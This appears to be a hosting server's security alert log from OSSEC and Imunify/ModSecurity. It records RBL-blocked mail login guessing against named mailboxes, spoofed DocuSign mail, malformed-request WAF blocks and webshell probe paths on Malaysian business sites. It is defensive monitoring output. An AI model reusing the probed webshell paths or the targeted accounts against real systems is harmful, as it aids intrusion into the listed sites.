abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:12:34 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:40990: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 22 05:13:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 05:13:35 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:62182: 535 Incorrect authentication data (set_id=verklarte)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.49.189
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=26 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:14:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:14:10 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:44698: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 220.154.134.114
country_id: 1814991
description:
2026-01-22 05:14:49 H=([220.154.134.114]) [220.154.134.114]:65292 F=<dse_NA2@docusign.net> rejected RCPT <elaine@lvconsult.com.my>: SPF: 220.154.134.114 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/career.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:15:43 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:48764: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.68.112
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=63&page=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:15:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.132.133.222
country_id: 2750405
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/moon/77/587780 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:17:19 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:50620: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:18:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:18:55 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:54348: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.11.42
country_id: 597427
description:
Jan 22 05:20:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.11.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.42
country_id: 597427
description:
2026-01-22 05:20:31 dovecot_login authenticator failed for H=(ADMIN) [141.98.11.42]:56984: 535 Incorrect authentication data (set_id=mail@gagasanteguh.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.206.93.90
country_id: 290557
description:
Jan 22 05:21:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.206.93.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.206.93.90
country_id: 290557
description:
2026-01-22 05:21:41 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:45708: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.225
country_id: 2300660
description:
Jan 22 05:24:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.102.39.133
country_id: 3077311
description:
Jan 22 05:24:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.102.39.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.133
country_id: 3077311
description:
2026-01-22 05:24:15 dovecot_plain authenticator failed for H=([10.3.18.246]) [212.102.39.133]:2193: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.225
country_id: 2300660
description:
Jan 22 05:25:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.225 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.255.68.46
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1502 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.198
country_id: 130758
description:
Jan 22 05:26:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.198
country_id: 130758
description:
2026-01-22 05:26:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.198]:54098: 535 Incorrect authentication data (set_id=qiang)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/pkobo_news/upload/knowyourtyre.php||SC:/home2/fkrcom/public_html/pkobo_news||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.252.103
country_id: 1562822
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/hs-surface-ae.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.198.4
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/images/award.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.113.60
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/985843.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.27.89
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/959849.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.190.112
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/217937.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.138.32
country_id: 953987
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/754933.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.212.121
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/img/photos/276617.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.78
country_id: 2510769
description:
Jan 22 05:30:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 22 05:31:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.251.138.54
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/curtain/19/132/1999627 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.66.32
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95261520647169 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.39.108.167
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=936837 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.34.198
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=455650 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.237.112.155
country_id: 3686110
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/warm/11/295/1111350 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.212.19.14
country_id: 2510769
description:
Jan 22 05:46:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.212.19.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.90.190.225
country_id: 2921044
description:
Jan 22 05:47:42 sv3 pure-ftpd[3753567]: (?@164.90.190.225) [INFO] New connection from 164.90.190.225


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 22 05:47:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.212.19.14
country_id: 2510769
description:
Jan 22 05:46:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.212.19.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.157
country_id: 1269750
description:
Jan 22 05:47:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.242
country_id: 3175395
description:
Jan 22 05:48:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.0.184.100
country_id: 3865483
description:
Jan 22 05:50:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.0.184.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 22 05:50:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.141.6
country_id: 3469034
description:
Jan 22 05:51:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.141.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.130
country_id: 3469034
description:
Jan 22 05:52:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.204.106.14
country_id: 3469034
description:
Jan 22 05:52:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.204.106.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.16.240
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.130
country_id: 3469034
description:
Jan 22 05:53:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.197.126
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1275-RC10-REPAIR-CLAMP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.226.237
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1283-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.187.78.48
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1160-T-RESTRAINT-T-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.165.207
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-DUAL-FIT-REPAIR-CLAMP-BOX.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.8.136
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1160-C-RESTRAINT-T-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.33.94
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-S-REPAIR-CLAMP-SPIGOT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.8.65.245
country_id: 6254930
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1275-RC20-REPAIR-CLAMP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.132.1.42
country_id: 953987
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1301-HOT-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.193.242.243
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1278-D-REPAIR-CLAMP-SPIGOT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.114.35.61
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipe-Repairs/M1282-TAPPING-SADDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.94.173
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0405-BALL-FLOAT-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.187.242
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0520-ROSE-STARINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.102.70
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M3422-HYDROSTATIC-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.176.228.139
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0802-FABRICATED-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.110.253.108
country_id: 2464461
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0705-FLAT-SEAT-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.233.208
country_id: 3175395
description:
Jan 22 05:57:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.233.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.155.105
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0512-FAB-BASKET-STRAINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.52.165
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M3155-01-KNIFE-GATE-VALVE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.34.19.197
country_id: 248816
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0801-CASTING-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.174.23.215
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0822-HDPE-FLAP-GATE-ROUND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.14.73.17
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0502-BASKET-STARINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.111.139
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0820-HDPE-FLAP-GATE-SQUARE-RECTANGULAR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.111.152.79
country_id: 798544
description:
Jan 22 05:58:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.111.152.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.97.242
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Valves/M0522-Y-STRAINER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.74
country_id: 226074
description:
Jan 22 05:58:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.74
country_id: 226074
description:
Jan 22 05:59:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.191.162.161
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Hydrostatic-Valve/ancillary engineering-hydrostatic-valve-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.190.232
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Kuching-STP-Stop-Log/stop-log-kuching-STP-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.249.220.119
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/penstock-stoplog-roller-gate-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.75.135.63
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bandar-Suleiman-Selangor-Malaysia/penstock-bandar-suleiman-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.0.9.161
country_id: 163843
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Sultan-Flight-Pipeline-Brunei/pipe-connection-pipe-repair-sultan-flight-pipeline-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.232.16.196
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Sungai-Layang-WTP-Johor-Malaysia/pipe-connection-sungai-layan-wtp-14.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.30.87.25
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/ancillary-engineering-service-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.190.21
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sungai-Sireh-WTP/ancillary-engineering-sungai-sireh-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.250.216
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Connection-Sg-Tampoi-Brunei/pipe-connection-pipework-sg-tampoi-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.55.168
country_id: 1562822
domain: www.chs.com.my
description:
